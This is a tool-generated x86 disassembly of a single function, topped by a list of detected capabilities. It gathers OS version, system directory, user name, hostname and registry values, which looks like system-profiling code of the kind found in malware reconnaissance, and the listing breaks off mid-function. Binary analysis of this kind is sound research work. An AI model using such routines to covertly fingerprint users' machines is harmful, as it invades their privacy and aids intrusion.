Function at 0x45c318
Capabilities:
Check os version
Get common file path
Get disk information
Get geographical location
Get hostname
Get memory capacity
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xcd
push 0
push 0
dec ecx
jne 0x45c320
xor eax, eax
push ebp
push 0x45d9bc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4671a8]
inc esi
add byte [edx + 0x45d9d0], bh
call fcn.004045b8
mov eax, dword [0x467220]
mov edx, 0x45da84
call fcn.004045b8
mov dword [ebp - 0xf0], 0x94
lea eax, [ebp - 0xf0]
push eax
call sub.kernel32.dll_GetVersionExA
cmp dword [ebp - 0xe0], 2
jne 0x45c381
lea eax, [ebp - 0x10]
mov edx, 0x45da90
call fcn.004045fc
jmp 0x45c3a9
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5c8]
call fcn.004079bc
mov ecx, dword [ebp - 0x5c8]
lea eax, [ebp - 0x10]
mov edx, 0x45daac
call fcn.00404870
mov eax, dword [0x4670c0]
cmp byte [eax], 0
je 0x45c3c2
lea eax, [ebp - 0xc]
mov edx, 0x45dac8
call fcn.004045fc
jmp 0x45c3cf
lea eax, [ebp - 0xc]
mov edx, 0x45dad8
call fcn.004045fc
mov eax, dword [ebp - 0xec]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5cc]
call fcn.004079bc
push dword [ebp - 0x5cc]
push 0x45dae8
mov eax, dword [ebp - 0xe8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5d0]
call fcn.004079bc
push dword [ebp - 0x5d0]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004048e4
mov eax, dword [ebp - 0x14]
mov edx, 0x45daf4
call fcn.00404970
jne 0x45c433
lea eax, [ebp - 0xc]
mov edx, 0x45db00
call fcn.004045fc
mov eax, dword [0x4671a8]
mov edx, 0x45db10
call fcn.004045b8
lea eax, [ebp - 0x20]
lea edx, [ebp - 0xdc]
mov ecx, 0x80
call fcn.004047d4
mov edx, dword [0x46700c]
mov edx, dword [edx]
lea eax, [ebp - 0x5d4]
mov ecx, 0x45dbdc
call fcn.00404870
mov edx, dword [ebp - 0x5d4]
mov eax, dword [ebp - 0x20]
call fcn.00404970
jne 0x45c48f
lea eax, [ebp - 0x20]
mov edx, 0x45dbe8
call fcn.004045fc
jmp 0x45c532
mov edx, dword [0x46700c]
mov edx, dword [edx]
lea eax, [ebp - 0x5d8]
mov ecx, 0x45dbf4
call fcn.00404870
mov edx, dword [ebp - 0x5d8]
mov eax, dword [ebp - 0x20]
call fcn.00404970
jne 0x45c4c6
lea eax, [ebp - 0x20]
mov edx, 0x45dc00
call fcn.004045fc
jmp 0x45c532
mov edx, dword [0x46700c]
mov edx, dword [edx]
lea eax, [ebp - 0x5dc]
mov ecx, 0x45dc0c
call fcn.00404870
mov edx, dword [ebp - 0x5dc]
mov eax, dword [ebp - 0x20]
call fcn.00404970
jne 0x45c4fd
lea eax, [ebp - 0x20]
mov edx, 0x45dc18
call fcn.004045fc
jmp 0x45c532
mov edx, dword [0x46700c]
mov edx, dword [edx]
lea eax, [ebp - 0x5e0]
mov ecx, 0x45dc24
call fcn.00404870
mov edx, dword [ebp - 0x5e0]
mov eax, dword [ebp - 0x20]
call fcn.00404970
jne 0x45c532
lea eax, [ebp - 0x20]
mov edx, 0x45dc30
call fcn.004045fc
mov eax, dword [ebp - 0xe4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5e4]
call fcn.004079bc
mov ecx, dword [ebp - 0x5e4]
lea eax, [ebp - 0x18]
mov edx, 0x45dc3c
call fcn.00404870
mov eax, dword [0x4671a8]
mov edx, 0x45dc4c
call fcn.004045b8
push dword [ebp - 0xc]
push 0x45dcf4
push dword [ebp - 0x14]
push 0x45dd00
push dword [ebp - 0x20]
push 0x45dd00
push dword [ebp - 0x18]
push 0x45dd00
lea eax, [ebp - 0x1c]
mov edx, 8
call fcn.004048e4
mov eax, dword [0x467220]
push dword [eax]
push dword [ebp - 0x10]
push 0x45da84
push dword [ebp - 0xc]
push 0x45dcf4
push dword [ebp - 0x14]
push 0x45da84
push dword [ebp - 0x18]
push 0x45da84
push dword [ebp - 0x20]
push 0x45da84
push 0x45dd0c
mov eax, dword [0x467324]
push dword [eax]
push 0x45dd20
push 0x45da84
mov eax, dword [0x467220]
mov edx, 0xf
call fcn.004048e4
push 0xfa
lea eax, [ebp - 0x583]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov eax, dword [0x4671a8]
mov edx, 0x45dd2c
call fcn.004045b8
mov eax, dword [0x467220]
push dword [eax]
push 0x45dda0
lea eax, [ebp - 0x5e8]
lea edx, [ebp - 0x583]
mov ecx, 0xfb
call fcn.004047d4
push dword [ebp - 0x5e8]
push 0x45da84
mov eax, dword [0x467220]
mov edx, 4
call fcn.004048e4
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0xc]
push eax
mov ecx, 0x45ddb4
mov edx, 0x45ddc8
mov eax, 0x80000001
call fcn.00409200
mov eax, dword [0x467220]
push dword [eax]
push 0x45ddec
push dword [ebp - 0xc]
push 0x45da84
mov eax, dword [0x467220]
mov edx, 4
call fcn.004048e4
push dword [ebp - 0x1c]
push dword [ebp - 0xc]
push 0x45dd00
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.004048e4
mov eax, dword [0x467220]
push dword [eax]
push 0x45de00
mov eax, dword [0x467394]
push dword [eax]
push 0x45da84
mov eax, dword [0x467220]
mov edx, 4
call fcn.004048e4
push dword [ebp - 0x1c]
push 0x45de18
mov eax, dword [0x467394]
push dword [eax]
push 0x45dd00
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.004048e4
mov dword [ebp - 0x58], 0x32
mov eax, dword [0x4671a8]
mov edx, 0x45de28
call fcn.004045b8
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x583]
push eax
call sub.advapi32.dll_GetUserNameA
mov eax, dword [0x467220]
push dword [eax]
push 0x45ded0
lea eax, [ebp - 0x5ec]
lea edx, [ebp - 0x583]
mov ecx, 0xfb
call fcn.004047d4
push dword [ebp - 0x5ec]
push 0x45da84
mov eax, dword [0x467220]
mov edx, 4
call fcn.004048e4
push dword [ebp - 0x1c]
push 0x45dee4
lea eax, [ebp - 0x5f0]
lea edx, [ebp - 0x583]
mov ecx, 0xfb
call fcn.004047d4
push dword [ebp - 0x5f0]
push 0x45dd00
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.004048e4
mov eax, dword [0x4671a8]
mov edx, 0x45def4
call fcn.004045b8
lea eax, [ebp - 0xc]
mov edx, 0x45df68
call fcn.004045fc
lea eax, [ebp - 0x10]
mov ecx, 0x45df8c
mov edx, dword [ebp - 0xc]
call fcn.00404870
mov eax, dword [0x4671a8]
mov edx, 0x45dfa8
call fcn.004045b8
mov eax, dword [0x4672a4]
push eax
mov ecx, 0x45dfd8
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00409148
lea edx, [ebp - 0x14]
call fcn.0040799c
mov eax, dword [ebp - 0x14]
call fcn.00404824
cmp eax, 3
jge 0x45c807
push 0
push 0x100000
call fcn.004087cc
call fcn.0040532c
push edx
push eax
lea eax, [ebp - 0x14]
call fcn.004079bc
mov eax, dword [0x4671a8]
mov edx, 0x45dfe8
call fcn.004045b8
push dword [ebp - 0x1c]
push 0x45e068
push dword [ebp - 0x14]
push 0x45dd00
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.004048e4
mov eax, dword [0x467220]
push dword [eax]
push 0x45e078
push 0x45e084
push dword [ebp - 0x14]
push 0x45e094
push 0x45da84
push 0x45e0a4
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x5f4]
push eax
mov ecx, 0x45e0c0
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00409200
push dword [ebp - 0x5f4]
push 0x45da84
push 0x45e0dc
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x5f8]
push eax
mov ecx, 0x45e0f4
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00409200
push dword [ebp - 0x5f8]
push 0x45da84
push 0x45e108
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x5fc]
push eax
mov ecx, 0x45e11c
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00409200
push dword [ebp - 0x5fc]
push 0x45da84
push 0x45e138
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x600]
push eax
mov ecx, 0x45e150
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00409200
push dword [ebp - 0x600]
push 0x45da84
push 0x45e16c
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x604]
push eax
mov ecx, 0x45e180
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00409200
push dword [ebp - 0x604]
push 0x45da84
push 0x45e198
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x608]
push eax
mov ecx, 0x45e1b8
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00409200
push dword [ebp - 0x608]
push 0x45da84
push 0x45e1d4
mov eax, dword [0x4672a4]
push eax
push 0x400
lea eax, [ebp - 0x60c]
push eax
mov ecx, 0x45e1f0
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00409200
push dword [ebp - 0x60c]
push 0x45da84
mov eax, dword [0x467220]
mov edx, 0x1b
call fcn.004048e4
mov eax, dword [0x4671a8]
mov edx, 0x45e208
call fcn.004045b8
lea eax, [ebp - 0xc]
mov edx, 0x45e2dc
call fcn.004045fc
mov eax, dword [0x4671a8]
mov edx, 0x45e2ec
call fcn.004045b8
xor eax, eax
mov dword [ebp - 0x28], eax